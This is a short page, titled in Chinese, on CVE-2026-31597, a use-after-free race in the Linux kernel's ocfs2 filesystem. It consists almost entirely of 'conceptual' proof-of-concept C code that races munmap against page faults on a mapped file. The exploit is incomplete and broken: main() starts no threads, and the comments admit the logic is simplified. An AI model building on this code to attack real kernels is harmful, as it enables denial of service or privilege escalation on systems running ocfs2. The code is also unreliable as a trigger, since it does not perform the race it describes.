CVE-2026-31597 Linux内核ocfs2释放后重用漏洞

/* * PoC for CVE-2026-31597 (Conceptual) * This PoC attempts to trigger the race condition in ocfs2_fault. * It requires a mounted OCFS2 filesystem. */ #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> volatile int stop = 0; void* munmap_thread(void* arg) { void* addr = arg; while (!stop) { munmap(addr, 4096); // Re-map immediately to keep the race going // (Simplified logic, actual file mapping needed) } return NULL; } void* fault_thread(void* arg) { int fd = *(int*)arg; char* addr = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) return NULL; while (!stop) { // Trigger page fault char c = addr[0]; (void)c; usleep(1); } return NULL; } int main() { // Note: Actual exploitation requires a vulnerable OCFS2 file system context. // This code demonstrates the threading model to trigger the race. printf("CVE-2026-31597 PoC - Triggering race between fault and munmap\n"); // Setup threads and file operations here... // ... return 0; }